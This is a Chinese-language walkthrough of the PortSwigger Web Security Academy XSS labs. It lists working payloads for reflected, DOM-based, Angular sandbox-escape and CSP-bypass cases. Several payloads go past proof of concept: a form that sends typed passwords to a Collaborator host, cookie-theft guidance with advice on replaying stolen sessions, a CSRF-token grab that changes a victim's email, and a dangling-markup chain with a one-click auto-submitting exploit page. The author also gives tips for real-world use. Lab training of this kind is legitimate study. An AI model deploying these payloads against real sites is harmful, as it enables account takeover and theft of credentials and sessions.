前面的很简单,看看就过吧
payload
<script>alert(1)</script>
payload
<script>alert(1)</script>
漏洞成因
query参数可控,闭合标签
payload
"><svg onload=alert(1)>
漏洞成因
payload
<img src=1 onerror=alert(1)>
漏洞成因
returnPath可控,直接写入属性href
payload
javascript:alert(document.cookie)
漏洞成因
触发hashchange事件时执行匿名函数
var post=$()这行是用jquery选择对应的元素,可以定位到多个元素
所以下面一行post.get(0)是指符合条件的第一个元素
如果元素存在则执行post.get(0).scrollIntoView();
scrollIntoView()这个方法是跳到对应的元素显示出来
此代码测试scrollIntoView()
触发点击事件后会自动跳到2所在的地方
那接下如何触发hashchange事件
也就是说url中#在内以及以后的部分发生变化就会触发hashchange事件
最后看关键行
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
window.location.hash.slice(1)这部分就是指#后面的内容
decodeURIComponent()就是url解码
假设url后面就是#1234
那么这句代码就变成了var post = $('section.blog-list h2:contains('1234')');
接下来看选择器选中的元素
也就是当这些h2标签中含有1234页面就会跳到那个位置
接下来验证猜想
找到最后一个h2内容是Spider Web Security
访问#Security果然会跳到最后的位置
到这里代码就全明白了
思考下面payload为什么能弹窗
先访问#再访问下面的payload
#<img%20src=x%20onerror=alert(1)>
根据我们对代码的分析,这个payload没道理会弹窗的
对代码进行调试分析
发现把代码删减后只留下一行仍会弹窗,说明弹窗就在这一行
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
继续改代码,省略传参和事件响应
仍旧弹窗,说明该弹窗是由jquery触发的
我想这个题的知识点就是在此
jquery选择器内可以插入标签
利用payload
前面的代码都懂了,也明白为什么弹窗了,下面就是水到渠成了
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
payload
闭合了value的双引号
"onmouseover="alert(1)
payload
把输入的内容直接放到href里了,也没啥技术含量
javascript:alert(1)
payload
闭合单引号执行js
这里有个知识点值得注意,下面代码会弹窗三次
字符串+-alert()+-字符串仍旧会执行alert
payload
参数storeId可控,闭合了select标签,追加img标签
product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
此题中<>和引号均被实体化
但发现使用了angular
angular和jquery一样具有自己的特性
payload
{{$on.constructor('alert(1)')()}}
payload
"-alert(1)}//
漏洞成因
下手的地方就是以上两处
payload
<><img src=1 onerror=alert(1)>
由代码可知这两个位置payload都可以执行
此处开始有点接近实战利用了
利用xss偷取cookie
下面代码就像burp里的repeater一样发送个post请求,请求体是cookie
谁触发了xss这个请求体的cookie自然就是谁的
在自己服务器上做好记录就能看到所有请求以及请求体,如下
搭建好web服务好像请求的url是会自动生成日志的,名字类似xxx_access_log(不会记录body部分)
想省劲的话可以直接在url后面拼接document.cookie
这里多说两句
既然别人带着该网站的cookie访问你的服务器
那你可以在服务器写个脚本(防止cookie过期失效)
1.保存cookie
2.带着cookie发起某些请求,获取敏感信息或进行敏感操作
也是实战,偷取密码
payload
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
流程基本和上一题是一样的
不过这个payload修改了原有的html
payload中的两个input输入框是我们自己插入的
当有人在输入框输入账号密码,触发onchange事件
onchange事件会把账号密码发送到别人服务器
上面也提到了,获取cookie后可以进行敏感操作
但是有一些操作是需要csrf校验的,如下
获取csrf token的两种方式
1.利用js代码,获取受害者主机上面的token(在受害者主机发起请求)---稍微麻烦
2.在自己电脑上替换cookie,提取自己主机上面的token(在自己主机发起请求)---简单无脑
下面这个payload就是提取了受害者主机上面的token在受害者主机上发起请求(有些严苛条件不得不这么做)
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
上面payload中的逻辑顺序是
1.访问my-account页面
2.正则提取csrf token
3.带着token访问/my-account/change-email修改邮箱
注意一点,虽然req.onload = handleResponse;
写在第三行
实际是在打开my-account(四五行)后才执行的(要不然你提取哪里的csrf token)
这里就涉及到fuzz的艺术了
首先爆破哪些标签可以用
得到可用标签
爆破可用事件
得到可用事件
payload:body+onresize
onresize在窗口大小改变时触发,那我们直接用代码改变窗口大小就可以了
这里值得思考一下,我们能写dom或者js的地方只有onresize事件里
假如是这样写<body onresize="print();window.resizeBy(1,1);">
就本末倒置了
所以在onresize事件里写出触发onresize事件的代码是不靠谱的
这里payload借用了iframe的onload事件来触发onresize事件
<iframe src="https://your-lab-id.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
实际利用就是把payload插入到自己的网站中偷cookie
注意比较
在Exploiting cross-site scripting to steal cookies这题中,
xss是插入在A站点评论区的,也就是说你偷取的cookie肯定是A站点的且大概率是已经登录过的cookie
在本题中,
xss是插入在自己站点上,你并不知道别人有没有登录过A站点所以获取到的大概率是未登录过的cookie
新知识点:自定义标签
假设waf已经对所有标签拦截且只有onfocus事件可以用
官方payload
<script>
location = 'https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
</script>
xss标签是我们自定义的标签
这里无论id还是class始终弹出-2
结论:网页会自动聚焦在url中有#选择元素里tabindex最小的一个元素
知道了原理,触发弹窗有两个条件
1.url后面跟#选择器
2.选择器选中的元素有tabindex属性且值最小
提出问题:为什么官方payload直接贴上却不会弹窗?(学会思考才是最重要的)
首先判断是否符合条件2(为什么不先判断条件1,因为条件2比较好测)
最终得到的payload
search=<xss+id%3Dx+onfocus%3Dalert%281%29%20tabindex=-100>xss</xss>#x
和之前一题一样fuzz得到未过滤的标签以及事件
可用标签三个
可用事件一个
这里说一下为什么要用animateTransform标签
上面可以看到可以用的事件只有onbegin,而svg标签是没有这个事件的
animateTransform是有onbegin事件的
svg和animateTransform的关系
可以把svg当成一个图,animateTransform就可以让图旋转
payload
search="><svg><animatetransform onbegin=alert(1)>
payload
'accesskey='x'onclick='alert(1)
闭合单引号增加link的属性
知识点
link三个属性缺一不可,rel属性不可改变
<link rel="canonical" accesskey="x" onclick="alert(1)">
触发
Windows: ALT+SHIFT+X
MacOS: CTRL+ALT+X
Linux: Alt+X
输入1234测试
是不是很像之前做过的某题'-alert(1)-'
可以看到它在我们闭合单引号前加了斜杠,导致无法闭合
那我们是不是可以不用单引号闭合点其他的呢
猜对了,直接闭合script标签
payload
</script><script>alert(1)</script>
1234测试,熟悉的味道
单引号闭合被加
script标签闭合被实体化
不要慌,第三种姿势来了
'-alert(1)//
原理也很简单
我们输入的内容是'-alert(1)//
waf又给我们加了一个斜杠就变成了'-alert(1)//
和前面代码拼接起来就是var searchTerms = ''-alert(1)//';
两个\经过转义就是一个\了
alert后面两个//是注释掉后面的内容了
payload
多一种思路闭合代码
http://foo?'-alert(1)-'
对比一下就会发现'-alert(1)-'
被转义成了'-alert(1)-'
转义后变成了字符串-alert(1)-字符串
漏洞成因:没有源码-.-
新知识:模板字符串
就是可以在字符串里面执行一些代码
用python来解释就是下图
1234测试,可以看到是被模板字符串包裹着
payload(轻轻松松)
${alert(1)}
常规跑标签
常规跑事件
所有事件凉凉,href也不能用
那么有什么能代替href的吗
这时候就看js的功底了
attributename可以把href="xxx"分解成attributename=href values=xxx
payload
<svg><a><animate attributeName="href" values="javascript:alert(1)"></animate><text x="20" y="20">Click me</text></a></svg>
漏洞成因
<a href="javascript:fetch('/analytics', {method:'post',body:'/post%3fpostId%3d3'}).finally(_ => window.location = '/')">Back to Blog</a>
先试试单引号能不能闭合
fuzz
fuzz的结果就是只要是&开头就合法,那么就试试&'+'1能不能闭合(注意编码,url里的+是空格的意思)
点击Black同时burp抓包,发现请求的url确实是3&1
闭合了单引号说明我们目前能控制post请求body里面的内容但不能弹窗
原来的代码
href="javascript:fetch('/analytics', {method:'post',body:'/post?postId=3&'+'1'}).finally(_ => window.location = '/')"
试试能不能闭合{
测试的话就这样慢慢测
本地测试点击test2是可以弹窗的
href="javascript:fetch('/test', {method:'post',body:'/post?postId=3&'+'1'},alert('test2')).finally(_ => window.location = '/')"
说干就干,测试&'+'1'},alert(1)
得到
先不管后面闭合没闭合,重要的是()被过滤了
想不到怎么绕过就看一眼payload吧
payload
&'},x=x=>{throw/**/onerror=alert,1337}, toString=x,window+'',{x:'
下面把payload拆分成五个部分来解释
&'},
x=x=>{throw/**/onerror=alert,1337},
toString=x,
window+'',
{x:'
&'},
闭合前面的{
x=x=>{throw/**/onerror=alert,1337},
定义一个箭头函数,/**/是注释,绕过空格过滤,throw是抛出异常,alert函数重载onerror函数,抛出异常的时候会自动调用onerror函数,其实是调用的alert
toString=x,
用箭头函数重载toString函数
window+'',
用window+字符串,而js认为字符串才能加字符串,所以window被强制转换成字符串,自动会调用window的toString函数,第8行第9行是等价的
{x:'
闭合后面的'},
回忆一下之前也有个题是angular,payload是{{$on.constructor('alert(1)')()}}
通过fuzz可以猜测出是按照键值对生成的代码
这就意味着下面xxxxxxxxx的地方是可控的,测试的代码贴出来感兴趣的可以自己测
<html> <head> <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script> <title>test</title> </head> <body ng-app="labApp" class="ng-scope"> <script>angular.module('labApp', []).controller('vulnCtrl', function ($scope, $parse) { $scope.query = {}; var key = 'xxxxxxxx'; $scope.query[key] = 'xxxxxxxxxx'; $scope.value = $parse(key)($scope.query); });</script> <h1 ng-controller=vulnCtrl>0 search results for {{value}}</h1> </body> </html>
那么查看关键代码是干什么的
$scope.value = $parse(key)($scope.query);
这个是$parse的用法,相关资料很少
大概意思是说给一个表达式进去会返回一个函数
payload
1&toString().constructor.prototype.charAt=[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
这个漏洞原理还需要研究很多代码
专业的事情交给专业的人吧,这个链接有大部分沙箱逃逸的poc,浪费一天看源码-.-
下面就开始接触到CSP了,简单理解就是CSP只会加载自己信任的资源,不信任的统统拦截
payload
search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x'
<input id=x
和后面的#x
对应,会选中id=x的元素
ng-focus
该事件可绕过csp
$event.path|orderBy:'(z=alert)(document.cookie)'
angular沙箱逃逸
angular我自己也不熟,之前也花了几天跟里面的代码
我感觉不是专攻这方面的话,知道angular沙箱逃逸如何利用就足够了
看官方payload看不懂没事,跟我的思路走一遍就懂了
触发xss的点
可以看到已经闭合前面的标签,但是却没弹窗,是被CSP拦了
修改邮箱需要两个参数,邮箱和csrf
所以第一步就是获取受害者的csrf
悬挂标签的妙用
https://0a9100ac03953f93c04f0c380001004e.web-security-academy.net/my-account?email=1"><button background='//9lveazanrxfo8i8fx050zhatfklc91.oastify.com?
因为我们插入的是button标签并没有闭合,他就会找到下一个button标签的闭合处
用img标签悬挂带出csrf被CSP拦截
第二步绕过CSP
my-account?email="><a%20href="http://x.x.x.87/test.html">Click%20me</a><base%20target=%27
然后看我服务器的test.html
点击click me后会跳转到我们的网址
然后为什么能带出csrf呢
第一点:悬挂标签把csrf当成标签里的内容了,所以可以看到弹窗的内容就是悬挂标签自动闭合后的内容
第二点:<base target='xxx'>
此标签会把target的值传递给跳转页面后的window.name,绕过了CSP策略
拿到csrf后就开始思考如何利用了
官方的payload是需要受害者点击两次,第一次是获取csrf,第二次是我们构造的post修改邮箱
在实际利用的时候要受害者点击两次难度会大大增加
那么有没有办法实现一次点击完成整个利用呢
burp有自动生成的csrf脚本
在此基础上修改脚本
大概流程就是接受window.name提取csrf的值,通过js修改html中的csrf,自动提交post请求
<html> <head> <title>test</title> </head> <body> <form action="https://0a1e002604b682fbc0ad28e100450051.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="[email protected]" /> <input type="hidden" name="csrf" value="bcd4JRiB7jZoxQK9JnpENj09l4DVDEMo" /> <input type="submit" value="Submit request" /> </form> <script> var csrf_=window.name; var re = /value="\w+"/g; var csrf = csrf_.match(re)[0].substring(7,csrf_.match(re)[0].length-1); var arr = document.getElementsByName("csrf") arr[0].value=csrf document.forms[0].submit(); </script> </body> </html>
一次点击就可以完成利用了,中间会跳转到你自己的服务器页面,可以把页面模仿做成加载中什么之类的
另外说一下绕过CSP的方法还有很多种,可以自己深度学习一下
如果真的实在绕不过CSP可以看看CSP的策略是否信任自己的子域
在子域找xss然后加载子域的js脚本
xss触发点
CSP拦截
利用点,虽然设置了CSP,但是我们却可以修改CSP的策略
payload
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
前前后后写了半个月,自己也是一边学习一边记录,如果有不对的地方还请大佬们指正